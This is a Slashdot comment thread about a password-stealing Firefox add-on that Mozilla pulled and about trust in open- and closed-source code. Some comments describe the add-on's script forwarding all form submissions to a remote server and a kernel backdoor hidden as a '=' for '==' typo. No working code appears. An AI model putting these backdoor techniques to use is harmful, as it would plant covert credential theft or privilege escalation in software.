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How the Mozilla Sniffer Backdoor Was Discovered

An anonymous reader writes "Mozilla pulled one of their Firefox add-ons earlier this week for containing a backdoor which stole passwords from its users. Netcraft has taken a closer look at how the rogue extension worked, and how it was discovered by chance rather than through any code review process. Mozilla are working on a new security model to stop this kind of backdoor happening again."

201 comments

  1. Native features in browser by SquarePixel · · Score: 1, Flamebait

    I mean seriously, the addons give access to everything you do in the browser. A lot of people here on slashdot know not to run random executables from the Internet, but do nothing to check if their browser addons are secure and not malware.

    This is why I love that Opera comes build-in with all the features you need and a lot more. Not only are they made using the same quality standards and conventions, there is no way some rogue developer could hide password stealing code in them.

    1. Re:Native features in browser by Tar-Alcarin · · Score: 5, Insightful

      there is no way some rogue developer could hide password stealing code in them.

      And since Opera is not open source, there is no way to be sure of that.

    2. Re:Native features in browser by Hijacked+Public · · Score: 5, Insightful

      And Firefox is open source, and there is no way to be sure of it.

      --
      "Sacrifice for the good of The State" - The State
    3. Re:Native features in browser by silanea · · Score: 3, Insightful

      [...] Opera comes build-in with all the features I need [...]

      FTFY. I prefer Firefox's way of offering a basic browser and moving extended or niche features to optional extensions to monolithic blocks like Opera. Of course there is a risk associated with this model, but in my case the benefits far outweigh that risk.

      --
      Rudolf Hess edited Mein Kampf. He was the very first grammar nazi.
    4. Re:Native features in browser by bsDaemon · · Score: 4, Insightful

      Unless you go through all the code yourself, there's no way to be sure of anything. And unless you're uber-bad-ass, its going to be really hard to understand every line in a massive code-base someone else wrote, let alone all they all play together. So, even if you do your own audit, you can't really be sure. Life's a bitch, isn't it?

    5. Re:Native features in browser by thijsh · · Score: 1

      It's the windows way...

    6. Re:Native features in browser by fuzzyfuzzyfungus · · Score: 4, Interesting

      It is impossible to be sure, all sorts of surprisingly devious side channels have been devised(that, and some fairly dramatically invasive behavior by vendors has become accepted as normal; after all, only a freetard would object to an application phoning home routinely...); but for something like Opera, where "non-malicious" network activity is fairly easy to characterize, checking for malicious network activity is far from impossible, without even touching the binary(something like Skype, on the other hand, where the network activity is a big, fat, blackbox, is a lot trickier).

      In this case, for instance, the malice was flagged by somebody watching network traffic, which is pretty trivial on any platform that doesn't have a bad case of being a console/iProduct. A purely binary, closed source, application could have been caught in exactly the same way.

    7. Re:Native features in browser by osgeek · · Score: 3, Interesting

      There's no way to be sure of anything, but as far as risk goes, you have to admit that trusting one vendor with a financial stake in not having a privacy loss scandal is a lot easier than trusting any random person in the world who can submit a plugin to the mozilla site.

      I'm a software developer, but I'm not going to go over every line of source code for the applications or plugins that I install on my computer. Seriously, even if you did, have you ever read along with or participated in code obfuscation contests? Many developers with malicious intent can make evil code look totally innocuous.

    8. Re:Native features in browser by Ephemeriis · · Score: 3, Insightful

      This is why I love that Opera comes build-in with all the features you need and a lot more

      As a geek, I enjoy complexity to an extent. It's cool to have a gadget with lots of nifty features and shiny buttons. But even I'll admit that at some point it can become unwieldy.

      I personally prefer a basic browser with a plug-in model that allows me to extend the functionality in whatever way I feel necessary. That way I can add all the shiny buttons I want, without having to deal with the unwieldy stuff that other people want.

      Not only are they made using the same quality standards and conventions, there is no way some rogue developer could hide password stealing code in them.

      Actually, there is.

      One of the Opera developers could go rogue. Or some machine in their development environment could be compromised, which could lead to the distributed software being compromised.

      And since Opera is not open source, we'd have to rely on the Opera developers themselves to find the issue. An open source model means that basically anyone with the time/inclination/skills can go in and take a look at the code.

      --
      "Work is the curse of the drinking classes." -Oscar Wilde
    9. Re:Native features in browser by eddy · · Score: 4, Informative

      >And since Opera is not open source, there is no way to be sure of that.

      Sure there is, you can reverse-engineer it to see what it does. You know, just because all you have is the binary doesn't mean you've suddenly entered a magic land where nothing can be understood.

      (I'm going to ignore "but can you trust your tools" asshatery)

      --
      Belief is the currency of delusion.
    10. Re:Native features in browser by Anonymous Coward · · Score: 0

      I prefer Firefox's way of offering a basic browser and moving extended or niche features to optional extensions

      If only they had done that with:
        AwfulBar
        Bookmarks
        History
        Personas

      Bookmarks and history would be great as extension addons due to the craptastic nature of the basic offering. I don't want a wrapper around your infantile implementation, I want to replace it wholesale.
      Personas are retarded. You already have a theming engine, why do you need another one?
      Awfulbar is awful.

    11. Re:Native features in browser by silanea · · Score: 1

      While I would argue that both bookmarks and history are integral parts of a modern browser - I cannot recall a single browser that does not have both in some form, with the possible exception of lynx - I agree with you on the other points. Both are nice ideas, and I really love the AwesomeBar, but both should be optional. In the same vein I am happy with Weave/Mozilla Sync, but I am hesitant to see it built into Firefox and Fennec.

      --
      Rudolf Hess edited Mein Kampf. He was the very first grammar nazi.
    12. Re:Native features in browser by jcochran · · Score: 4, Insightful

      Unless you go through all the code yourself, there's no way to be sure of anything.

      Only thing that can be made about that statement is to point to a nice little presentation by Ken Thompson. Take a look at 'Reflections on Trusting Trust'. Almost certain you haven't seen it given your comment.

    13. Re:Native features in browser by Anonymous Coward · · Score: 3, Insightful

      This is where the "many eyes" comes into play for open source...

    14. Re:Native features in browser by Pollardito · · Score: 2, Informative

      Unless you go through all the code yourself, there's no way to be sure of anything.

      you mean unless you go through the code, compile it yourself using a compiler whose code you've also audited and itself was not compiled by an unaudited compiler

    15. Re:Native features in browser by bsDaemon · · Score: 5, Informative

      No, I've seen it. I used to have a pretty decent email pen-pal thing going on with Ken about 10 years ago. He's a pretty cool dude. The point is, yes, even if you see the code, unless you have the code to the compiler and build it yourself, then you can't trust the binary. Basically, you can't trust anything you don't create from scratch. There could also be back-doors in ROM in the hardware. Which is why I go on to say how even if you do your own audit you can't actually trust anything. Either you won't understand everything, you'll have taken in too much information and miss something vital or,as per your example, the real root of the problem will be so obscured from view that it doesn't even matter what you're auditing.

    16. Re:Native features in browser by bannable · · Score: 1

      Even if you read all the code, you still can't be sure.

      --
      "If you see a man on a horse, he is likely an enemy. Kill the man and eat the horse."
    17. Re:Native features in browser by elrous0 · · Score: 1

      From what I understand (never actually used it myself), Opera's adblock features are pretty weak compared to Firefox add-ons like adblock plus. And I doubt it comes with the ability to rip videos from YouTube built in, or the features of a dozen other Firefox add-ons I use regularly.

      --
      SJW: Someone who has run out of real oppression, and has to fake it.
    18. Re:Native features in browser by Joce640k · · Score: 1, Informative

      Source is ok ... but can you trust your compiler?

      --
      No sig today...
    19. Re:Native features in browser by bjourne · · Score: 2, Insightful

      Well, I like most people, run random executables but only if they are retrieved from trusted sources. Any package I install from my distros repository can potentially contain malicious code but I trust that the distro maintainers keep their stuff clean. I used to trust Firefox extensions downloaded from addons.mozilla.org in the same way, but not so anymore. That's why Chrome's and Opera's software models with built-in features over addons are superior to FF. Because you only have to trust one party instead of dozens of plugin authors.

    20. Re:Native features in browser by Anonymous Coward · · Score: 0

      I am unfamiliar with this "awfulbar" you speak of, but I am aware of Awesomebar, which is perfectly fine.

    21. Re:Native features in browser by commodore64_love · · Score: 2, Interesting

      >>>And since Opera is not open source, there is no way to be sure of that.

      I think we can trust the Opera developers. They've been around long enough (15 years), and they are the #1 browser in eastern Europe and Russia* so someone would have caught them by now, if they were thieves. ----- My main complaint about Opera's built-in features is it creates a memory hog. I don't need AdBlock or Bittorrent or Mail in my web browser. Using Firefox allows me to have a leaner program that is stripped of those features.

      *
      * Or so I've heard. I've never seen any proof.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    22. Re:Native features in browser by vbraga · · Score: 1

      lynx does have bookmarks. I don't remember if it has something like history.

      --
      English is not my first language. Corrections and suggestions are welcome.
    23. Re:Native features in browser by maratumba · · Score: 1

      You are right. There is a reason it's called "code".

    24. Re:Native features in browser by Anonymous Coward · · Score: 0

      Plugins are far more inherent to the Linux (and overall FOSS) design than they are to Windows or any other closed architecture. Mod this one troll.

    25. Re:Native features in browser by Anonymous Coward · · Score: 0

      Seriously, Firefox 3 came out like two years ago, people are still bitching about the improvements made to the URL bar? Get over it already. Either revert back to the old, inferior version of the URL bar or use whatever web browser people who are averse to change use.

    26. Re:Native features in browser by Jesus_666 · · Score: 2, Interesting

      This is why I love that Opera comes build-in with all the features you need and a lot more.

      Except that it doesn't. I heavily rely on Firefox extensions to, for example, manage my tabs. It's entirely possible for me to work on three projects, each with ten to thirty tabs associated with them, while simultaneously using the same browser for personal stuff, which incurs further tabs. Having fifty or more tabs open at the same time is not unusual for me. Does Opera have an easy way of organizing a huge amount of tabs without having to use additional windows (which break the way I partition my screen)? Firefox has an extension for that. I can even suspend tab groups and open them again later if I know I won't need them for a while.

      Likewise, is Dragonfly as powerful as Firebug? Can Opera give me the sent and received HTTP headers in realtime? User styles and plugins not distributed with the browser don't count; you're positing that Opera already comes with anything I need. Plus, what about ARM?


      Don't get me wrong. Opera probably does come with anything a casual desktop/notebook user needs. Some people have requirements that don't mesh well with what the Opera devs thnk the average user wants, however, and in that case Opera becomes rather unattractive. Given that this is Slashdot, the assumption that the people here are average users may not be sound.

      --
      USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
    27. Re:Native features in browser by Runaway1956 · · Score: 3, Insightful

      Uhhhmmmm - yeah, I think. I guess I'm a freetard. Now and then, I'll fire up Wireshark, and just watch the traffic. Yeah, I can see that my deviant son is browsing a porn site. I can see that the wife is checking her email and the banking. I can see that the other kid is looking for car parts. And - the other other kid is playing games. But, why on earth does he have packets going to http://xxx.xxx.xxx.xxx/ ??? That isn't a game site - he's not browsing, or there would be a lot more packets. Hmmmmm. A little checking, and I holler at him. "Have you installed anything lately? Have you done a virus scan on your stupid Windows laptop? What is this site?" He looks at it, tells me it's nothing HE ever heard of, goes back to his machine, and does some checking. An hour or so later, he admits that he was testing some stupid schitz that one of his buddies recommended. One of the features happens to be a trojan.

      I don't bother making reports - I guess if I did, I might get my name attached to some zero day thingy. Hmmmm. That might not be good either. The better known you are, the harder it is to stay anoynymous when you really WANT to be anonymous!

      --
      "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    28. Re:Native features in browser by albedoa · · Score: 1

      This is why I love that Opera comes build-in with all the features you need and a lot more."

      Why would I want a lot more than the features I need?

    29. Re:Native features in browser by vegiVamp · · Score: 1

      Vendors have financial stakes in privacy loss scandals ? That's apparently not how Suckerberg sees things.

      --
      What a depressingly stupid machine.
    30. Re:Native features in browser by commodore64_love · · Score: 1

      >>>Either you won't understand everything, you'll have taken in too much information and miss something vital or,as per your example, the real root of the problem will be so obscured from view
      >>>

      Sounds like a good argument for keeping code as short-and-simple as possible. I recently tried the Kolibri OS that fit on a single floppy. Obviously that means it has limited function, but it's also easy to review and understand the code because it's so short. Another more useful example is Utorrent, which is barely 8 megabytes - that code is also easy to review and understand because of its brevity.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    31. Re:Native features in browser by commodore64_love · · Score: 1

      Can someone point me to a nice lean browser that can run in 32 megabytes (like utorrnt) but is not text-only (like Lynx). It doesn't seem to exist.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    32. Re:Native features in browser by fuzzyfuzzyfungus · · Score: 1

      I hope the sarcasm in my use of "freetard" was sufficiently evident. I find the fact that it is considered normal for all sorts of software to report more or less whatever they want back to the mothership, in exchange for another few days of "You are only a suspected; but not yet confirmed, pirate. You may continue to use our software." rather disturbing.

      Were any "respectable" software to be operating maliciously, this would probably be the easiest way to exfiltrate captured data. Because the phoning home is to stymie the wicked pirates, you can rationalize it being encrypted, and thus avoid trivial detection by network sniffing.

    33. Re:Native features in browser by poetmatt · · Score: 1

      opera? no browser comes with all the features we need. If we did, it'd be the only browser we used. What a stupid statement.

      Meanwhile, is there a consensus between browsers? No, in fact it's leaning quite the other direction - some like safari, chrome, firefox, ie, etc.

      Firefox however, like the others, warns you to be careful of addons and warns what they do. So it's good that they caught this.

    34. Re:Native features in browser by VGPowerlord · · Score: 1

      Can someone point me to a nice lean browser that can run in 32 megabytes (like utorrnt) but is not text-only (like Lynx). It doesn't seem to exist.

      Client-side scripting and DOM manipulation puts a damper on that fairly quickly. The number of websites that don't work at all without client-side scripting is growing, and will only continue to grow.

      --
      GLaDOS for President 2016! "Well here we are again. It's always such a pleasure." -- GLaDOS, 2011
    35. Re:Native features in browser by shop+S+Mart · · Score: 1

      I agree, my only hope is that by using a hugely popular open source browser (firefox) that hundreds of people much smarter than me have poked around inside it to make sure it isn't laced with malware and if something is found it's fixed/posted on popular sites or whatever to warn others. Addons however are more risky since not all addons are used/inspected by everyone obviously.

      --
      "all i wanted was a pepsi..."
    36. Re:Native features in browser by mcgrew · · Score: 2, Interesting

      Seriously, even if you did, have you ever read along with or participated in code obfuscation contests?

      Any obfuscated code, especially if it's FOSS, should be suspect. Either they have something to hide, or they're a shitty programmer. Either way, I don't want their code on my hardware.

    37. Re:Native features in browser by mister_playboy · · Score: 1

      From what I understand (never actually used it myself), Opera's adblock features are pretty weak compared to Firefox add-ons like adblock plus.

      You understand incorrectly. Opera's adblocking is just as capable as AdBlock+. Just use a good block list such as the one maintained by Fanboy.

      --
      Do what thou wilt shall be the whole of the Law ::: Love is the law, love under will
    38. Re:Native features in browser by Anonymous Coward · · Score: 0

      Netscape 3.0?

    39. Re:Native features in browser by kyrio · · Score: 3, Insightful

      History is retarded, I've had it disabled since I first started using browsers with the "feature". Bookmarks should also be an add-on since most home users really don't need it to save their Facebook and Hotmail links.

    40. Re:Native features in browser by Torodung · · Score: 4, Interesting

      Reminds me of a line in Doctor Who's last season:

      Amy: You don't always tell me the truth.

      The Doctor: If I always told you the truth, I wouldn't have to ask you to trust me.

      Trust is not a state of absolute certainty or God-like understanding. In the end, it's a process of establishing your own comfort. You have to decide which risks matter to you personally, and which assurances are sufficient.

      Trying to guarantee that every component and piece of software in a computer is "benign" to everyone is a fruitless, endless process.

      But I certainly appreciate the complications you bring up. In the final analysis, all trust must be conditional, and revocable.

      --
      Toro

    41. Re:Native features in browser by kyrio · · Score: 3, Interesting

      I like most people as well!

      The only issue with Opera is that they keep adding retarded things like BitTorrent downloading and built in web servers. It also doesn't help that they try to change the entire UI with every milestone.

      I still don't see myself switching away any time soon.

    42. Re:Native features in browser by Qzukk · · Score: 1

      AwesomeBar is one of the things I miss now that I switched to Chrome. (Nuke Anything is another, I'm not seeing an extension that can right click -> Remove This Object. Really helpful on sites like slashdot where shitty html makes invisible divs float over the top of the text like that <div id="slug-Bottom"> that's over the bottom 2-3 comments on every slashdot page.)

      In Firefox I had AwesomeBar trained pretty good. "Q" brought me to my comments page, "f" pulled up the firehose, set to display journals, "sl" brought up the main slashdot site, and so on. I could get pretty much anywhere with one-two letters and tab completion. Now in chrome I have to type sla then hit right to complete slashdot.org, then wait a couple of seconds for Chrome to realize that I want more options, then I can get to my comments page or the firehose or whatever.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    43. Re:Native features in browser by XanC · · Score: 1

      That tab grouping sounds like a really useful feature. What is the extension you use for that? I found a number of them that seem similar...

    44. Re:Native features in browser by Anonymous Coward · · Score: 0

      Whats is that tab-managing addon you use?

    45. Re:Native features in browser by L4t3r4lu5 · · Score: 3, Informative

      Jim: This source is fine.
      Jon: This is great, good work.
      Jane: Clean and efficient, great addon.

      *Create account: Jack*
      Jack: Yeah, awesome stuff! Jim, Jon, and Jane are all correct.

      *Create account: James*
      James: I love this addon! No viruses here :D

      --
      Finally had enough. Come see us over at https://soylentnews.org/
    46. Re:Native features in browser by operagost · · Score: 1

      This is why I love that Opera comes build-in with all the features you need and a lot more.

      Is it both a floor wax AND a dessert topping?

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    47. Re:Native features in browser by operagost · · Score: 1

      You're joking, right? Without either history or bookmarks, people would have to write the URLs down on paper or in a text file. Despite your subtly elitist attitude, most users DO visit sites other than Facebook and Hotmail. What purpose would it serve to remove those features? Save 5KB of RAM?

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    48. Re:Native features in browser by Jesus_666 · · Score: 3, Informative

      TabGroups Manager. It's not the only extension of its kind, though: There's also Tree Style Tabs that gives you hierarchical, if space-intensive, tabs and Tab Kit, which apparently offers both functionalities in one package - however, I haven't tested the it and can't say how well it works.

      In case you're a beta user: Tree Style Tabs says it's 4.0b1-compatible; TabGroups Manager doesn't but works apart from a cosmetic issue (the tab group bar appears below the tab bar instead of above it).

      --
      USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
    49. Re:Native features in browser by westlake · · Score: 1

      I prefer Firefox's way of offering a basic browser and moving extended or niche features to optional extensions

      I've come to suspect that what a geek means by a "basic browser" is the browser that does everything he wants to do and nothing that others want to do - aka "bloat."

      Plug-ins like Flash evolved because the browser was a convenient way to access online games, music, videos and so
      on. Integration of these features makes sense for a whole lot of reasons.

    50. Re:Native features in browser by sexconker · · Score: 2, Insightful

      And since Opera is not open source, there is no way to be sure of that.

      So slashdot. So retarded.

      When was the last time YOU PERSONALLY read and understood EVERY LINE OF CODE you run?

      Did you fabricate your own CPU too?

      Shit being open source isn't some magic blanket of security. In fact, just the opposite: People blindly trust open source code thinking "someone else reviewed it". Who? Do you know their name? Do you know their review process? Do you know they're competent, and not just some 19 year old in a dorm room killing time between beer runs and WoW raids?

      If Opera maliciously fucks you over, guess what - you have someone who is legally culpable. If your repository gives you a lemon, oh well!

    51. Re:Native features in browser by sexconker · · Score: 4, Interesting

      LOL

      Extension of trust works as follows:

      If you trust Bob, and Bob trusts Alice, you trust Alice.

      However, no one ever fully trusts Bob.
      So, more explicitly, extension of trust is as follows:

      If you trust Bob to a degree, and Bob trusts Alice, you trust Alice to the same degree that you trust Bob.

      But this is incorrect as well. Because Bob's trust relationship with Alice is also "to a degree". Let's try this again:

      If you trust Bob to a degree, and Bob trusts Alice, you trust Alice only to the product of the two degrees.

      Trust does degrade with each step in the relationship chain.
      One of the most common "degrees" of trust is a restriction on forwarding that trust. We never actually "trust" Bob, we simply authorize him (as a supplier of code, a maintainer of data, etc.) to access our shit because we need to get shit done. The "trust" relationship is not freely given - privacy and access are sold in exchange for access to various services.

      Thus, the degree of trust in an actual relationship is not a measure of actual trust, but a measure of what you are willing to risk.

      The claim against the "you can only trust yourself" argument is that if you trust Bob, you must trust Alice in the same manner, because you are trusting Bob's integrity (who he chooses to trust). The claim is bullshit, because we never "trust" Bob - we simply accept a certain level of risk, and built into our threshold of acceptable risk is the restrictions on who Bob can extend that trust to.

      The bottom line is that we can indeed choose to trust Bob completely and choose to not trust Alice at all. This is because the "trust" relationship is never actually based on trust - it is based on risk.

    52. Re:Native features in browser by shutdown+-p+now · · Score: 1

      Even then you'll need to do it all with a CPU which you've either built yourself, or at least verified that it matches the schematics. After auditing the latter, of course.

    53. Re:Native features in browser by NoOneInParticular · · Score: 2, Insightful

      This then should be the contest for you!

    54. Re:Native features in browser by shish · · Score: 2, Insightful

      I prefer Firefox's way of offering a basic browser and moving extended or niche features to optional extensions to monolithic blocks like Opera

      Theoretically, I prefer that too; but somehow opera with more features than the entire mozilla suite is still smaller, faster, and more stable than a barebones firefox :/

      --
      I mod down anyone who says "I will be modded down for this", regardless of the rest of their comment
    55. Re:Native features in browser by shish · · Score: 1

      This is where the "many eyes" comes into play for open source...

      Can you name "many" people who have a complete in-depth understanding of the mozilla codebase? Can you even name one?

      Many eyes is excellent for small simple projects, but for something the size of the mozilla suite I doubt that *anybody* really understands 100% of it, and so, even with many people looking at their own parts, there is still room to sneak in bugs where the parts join.

      --
      I mod down anyone who says "I will be modded down for this", regardless of the rest of their comment
    56. Re:Native features in browser by yoyhed · · Score: 1

      Exactly. This seems to be the exact discussion we had a few days ago about Chrome. This isn't a big deal. Third party software can be malicious. Whoever installed it had to go through a warning, AND in the case of Firefox, wait 5 seconds to click Install while the warning was in their face.

      --
      WHO NEEDS SHIFT WHEN YOU HAVE CAPSLOCK/ DAMN1
    57. Re:Native features in browser by Bob+The+Magic+Camel · · Score: 1

      Also, if it could cure cancer, that would be a bonus.

      --
      This signature is esoteric
    58. Re:Native features in browser by Anonymous Coward · · Score: 2, Funny

      Source is ok ... but can you trust your compiler?

      Yes, that's what we're talking about. Thanks for being the retard who points out the obvious.

    59. Re:Native features in browser by dannys42 · · Score: 2, Insightful

      Every line of source code? That's just silly. Who can be sure of anything that way? I inspect every packet going into and out of the computer by hand.

    60. Re:Native features in browser by osgeek · · Score: 1

      Obfuscated code is often difficult to even spot... because it's obfuscated.

    61. Re:Native features in browser by Anonymous Coward · · Score: 0

      A purely binary, closed source, application could have been caught in exactly the same way.

      It would have been found, it might have been dismissed as unidentified non-malicious network activity. Classifying and catching it as a malicious password-stealer would have been difficult or impossible.

    62. Re:Native features in browser by osgeek · · Score: 1

      There's a pretty big difference between asshat corporate behavior of going over the line by misusing your private data on Facebook vs creating a plugin whose hidden purpose is to keylog so that the developers can drain your bank accounts.

    63. Re:Native features in browser by Chowderbags · · Score: 1

      And you're running it on a computer you built (in a cave, with a box of scraps!).

    64. Re:Native features in browser by hesaigo999ca · · Score: 1

      I just don't use add ons, is all, what for? All i need is to read the web page, why would i need to have a coolfacebook add on, when i just log into facebook, instead of getting the rss feeds etc...

    65. Re:Native features in browser by bonch · · Score: 1

      I have the opposite opinion, that shipping with a ton of monolithic features like Bittorrent support increases security risk, while being able to choose what features I want to install lets me streamline the browser and reduce its size as a target for exploits.

    66. Re:Native features in browser by ThatsNotPudding · · Score: 1

      There could also be back-doors in ROM in the hardware.

      China says 'hi'.

    67. Re:Native features in browser by Anonymous Coward · · Score: 0

      Sure there is, you can reverse-engineer it to see what it does. You know, just because all you have is the binary doesn't mean you've suddenly entered a magic land where nothing can be understood.

      Clearly spoken by someone who has never attempted to decompile a program, especially one written in a higher level language.

      Also, "reverse engineering" would result in building a work-alike new program, not a reproduction of the internals of the original, and would most likely not expose a function that was being purposefully concealed within the structure of a larger, generally benign program.

    68. Re:Native features in browser by UnknownSoldier · · Score: 1

      I just want to know who the fucktard developer was that completely redesigned the FF 3 Add Bookmark dialog so it is

      - non-resizable, unless you use a add-on
      - made the dam borders so wide that the readable space is tiny

      Thank God for something like OpenBook - but seriously, FF ver 2 default dialog was WAY better.

      Personas don't bug me. I use them at home, but not at work. It is not like you are forced to use them.

    69. Re:Native features in browser by kyrio · · Score: 2, Interesting

      Having a History function is retarded. If you don't know which sites you've been to then you have some serious mental issues that you should have investigated. If Opera took those functions out and added them to their site under a plug-ins section then people who don't have Alzheimer's could have a nice lightweight browser.

      Despite your retarded attitude, most people do, in fact, only visit a few sites with short, easy to remember, URLs. If someone wants some bookmarks, because he is mildly advanced compared to the rest of the public, he can go to the Opera site and click on the link which will load the small code into the browser.

    70. Re:Native features in browser by GameboyRMH · · Score: 1

      Another more useful example is Utorrent, which is barely 8 megabytes - that code is also easy to review and understand because of its brevity.

      You must mean a different uTorrent to the one I know, which is less than a megabyte and closed-source.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    71. Re:Native features in browser by Stan+Vassilev · · Score: 1

      And since Opera is not open source, we'd have to rely on the Opera developers themselves to find the issue. An open source model means that basically anyone with the time/inclination/skills can go in and take a look at the code.

      So, wait, are you saying Opera is more secure? It's hard to imagine too many people with the time, inclination and skills, would volunteer to sift through the thousands of boring bad code on the Mozilla Addons site.

    72. Re:Native features in browser by quadelirus · · Score: 1

      Right, because FTA: "it was discovered by chance rather than through any code review process." Open source is really working out well there isn't it?

      Don't get me wrong, I support open source, but the tired old claim that all the code is open so anyone can check its security and it is therefore more secure is preposterous as is shown by this incident. There is too much code to have it all checked--especially by unpaid volunteers (do you really want to go read over lines and lines of someone else's code for no pay? No. I, personally, would be willing to write code for a project I believed in but I'm not going to waste my hard earned free time reading someone else's code). Furthermore, if I were a malware author I would look for holes in open source code on bits of code that weren't touched regularly or updated. A lot easier than looking for them in closed source.

    73. Re:Native features in browser by quadelirus · · Score: 2, Interesting

      Life is too short to use such a limited OS out of fear of identity theft. The cost/benefit analysis just doesn't line up.

    74. Re:Native features in browser by treeves · · Score: 1

      This is modded insightful? What, so he gets the karma points for being funny?

      --
      ...the future crusty old bastards are already drinking the Kool-Aid.
    75. Re:Native features in browser by NoOneInParticular · · Score: 2, Informative

      Case in point: the Debian ssl fiasco, rendering all Debian as well as derivatives vulnerable to a simple attack for 2 years.

    76. Re:Native features in browser by Anonymous Coward · · Score: 0

      What's with the two hyphens followed by a copy of your username from the top of your post? And why did you insert all that in the body?

    77. Re:Native features in browser by silanea · · Score: 1

      "Basic browser" for me encompasses what comes with vanilla Firefox. Some of that - the mentioned AwesomeBar and Personas - may actually be considered bloat. Everything else is to be expected of a 21st century web browser.

      --
      Rudolf Hess edited Mein Kampf. He was the very first grammar nazi.
    78. Re:Native features in browser by Actually,+I+do+RTFA · · Score: 1

      This is where the "many eyes" comes into play for open source...

      How? This is a failure of that very statement. The problem was only found by someone who debugged the binary without using the source he may or may not have had.

      --
      Your ad here. Ask me how!
    79. Re:Native features in browser by Anonymous Coward · · Score: 0

      The only problem with your contention that most people only visit a few sites with short, easy-to-remember URLs is that sometimes the specific pages under those URLs are long and complicated. The history function allows users to go back to specific pages quickly and easily.

      http://news.slashdot.org/article.pl?sid=10/07/15/1223234

      for instance =) You'd expect a generic user unit to remember that sort of string?

    80. Re:Native features in browser by Capt.DrumkenBum · · Score: 1

      Even Bob doesn't trust Alice.
      Nobody trusts Alice... Skanky b1tch!

      --
      If I were God, wouldn't I protect my churches from acts of me?
    81. Re:Native features in browser by Anonymous Coward · · Score: 0

      Wow. I hope you are just having a bad day and aren't always this huge of an asshole.

    82. Re:Native features in browser by Torodung · · Score: 1

      It's a sig delimeter and my sig. Force of habit really.

    83. Re:Native features in browser by AK+Marc · · Score: 2, Interesting

      Doesn't matter. Even then, most everything is complex enough and long enough that "someone" could find it (whether you rely on open source eyes or paid corporate code), but a single person reviewing all the code of everything they use is impossible. Given the rate of change of laws and regulations in the US, it is physically impossible to read all the rules that one must adhere to. You'll die of old age before you make it through. Yet ignorance of the law is no defense. No one can read all the code they use, even skimming it would be hard. So you have to trust someone somewhere. So trusting a company vs strangers becomes an issue of preference, not logic.

    84. Re:Native features in browser by DavidTC · · Score: 1

      Even if you did, it's hard to protect against everything.

      I'm reminded of 'mistake' that someone checked into a Linux kernel cvs (Not the real kernel) which was an if() that did a bunch of process flag checks, followed by a user_id=0 check, and then did some innocuous stuff.

      Catch that? user_id=0, not ==0

      It was a 'bug'...that just happened to set any user process that had that weird random assortment of flags to being owned by root. (And then do some totally safe and useless things for that process.)

      Luckily, the actual Linux kernel has some programmers looking at each line of code before it goes in, but those types of bugs are hard enough to detect when made by accident.

      They're nearly impossible to detect on purpose, especially when there's not someone who's going through looking at each cvs checkin, from unknown users (Like that problem was found.), but instead presented with the entirety of source code at once.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    85. Re:Native features in browser by inamorty · · Score: 0

      Who the fuck is Alice?

    86. Re:Native features in browser by niftymitch · · Score: 1

      This is where the "many eyes" comes into play for open source...

      But with the growing pile of packages and code more and more folk are not looking at source. The complexity of code and the complexity of the build environment make it more and more difficult to get there from here.

      The obvious link line that includes a famous .a file tells you nothing about the binary bits on the build machine.

      Quiz why does the old BSD hangman code need with math.a ?

      --
      Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn't. Mark Twain.
    87. Re:Native features in browser by Anonymous Coward · · Score: 0

      It's hard to imagine too many people with the time, inclination and skills, would volunteer to sift through the thousands of boring bad code on the Mozilla Addons site.

      AMO add-ons do undergo code review...

  2. BlueHost by bsDaemon · · Score: 4, Interesting

    Looks like the stolen data was being sent to a hacked BlueHost account. Figures.

    1. Re:BlueHost by bannable · · Score: 1

      Anyone else find it disturbing that this is funnier than it is insightful?

      --
      "If you see a man on a horse, he is likely an enemy. Kill the man and eat the horse."
    2. Re:BlueHost by idontgno · · Score: 1

      Yeah, someone needs to tell Mark Anthony Hill II of the Williams Hill Group that his host has been pwn'd.

      --
      Welcome to the Panopticon. Used to be a prison, now it's your home.
  3. Advertised purpose? by Anonymous Coward · · Score: 2, Interesting

    What was the addon supposed to do?

    1. Re:Advertised purpose? by Zerth · · Score: 1

      Security penetration testing. Isn't that just alanis.

      I'm thinking it wasn't backdoored, they just pointed it the wrong way around.

    2. Re:Advertised purpose? by Coopjust · · Score: 4, Informative

      It was a modified version of Tamper Data that the author alleged "many problems have been solved in this version".

      In addition to modifying several existing files, the author added a file called tamperPost.js that very deliberately sends every form submission to a remote server. You can see some of the code of this on the Netcraft article in the summary (or or a direct link to the image)

      When you see the image, you can see that it was obviously a deliberate attempt to steal credentials.

    3. Re:Advertised purpose? by Anonymous Coward · · Score: 0

      READ THE FUCKING ARTICLE, you cocksmoking teabagger!

      Seriously, a screenshot of the add-on's entry on the Mozilla site is clearly shown, including the description of what it is.

    4. Re:Advertised purpose? by Anonymous Coward · · Score: 0

      Now, now, calm down. Watch your blood pressure. Besides, you have no idea if that cocksmoker is a teabagger or not. He might be another fucking libtard for all you know.

    5. Re:Advertised purpose? by Bigjeff5 · · Score: 1

      Isn't that just alanis.

      That's probably the most obscure musical reference I've ever seen and actually picked up on.

      Bravo sir.

      --
      Security is mostly a superstition... Avoiding danger is no safer in the long run than outright exposure. - Helen Keller
    6. Re:Advertised purpose? by Anonymous Coward · · Score: 0

      Oops. I read the wrong article. I read every line on the mozilla blog, but not the netcraft article. Your analysis, harsh as it may be, is fair.

  4. It was bound to happen eventually.. by GrBear · · Score: 1, Insightful

    I'm sure there's some parallel regarding the Android vs Apple's logic in distributing apps.. but I'll likely be moderated a troll on /. for pointing them out..

    1. Re:It was bound to happen eventually.. by fuzzyfuzzyfungus · · Score: 4, Informative

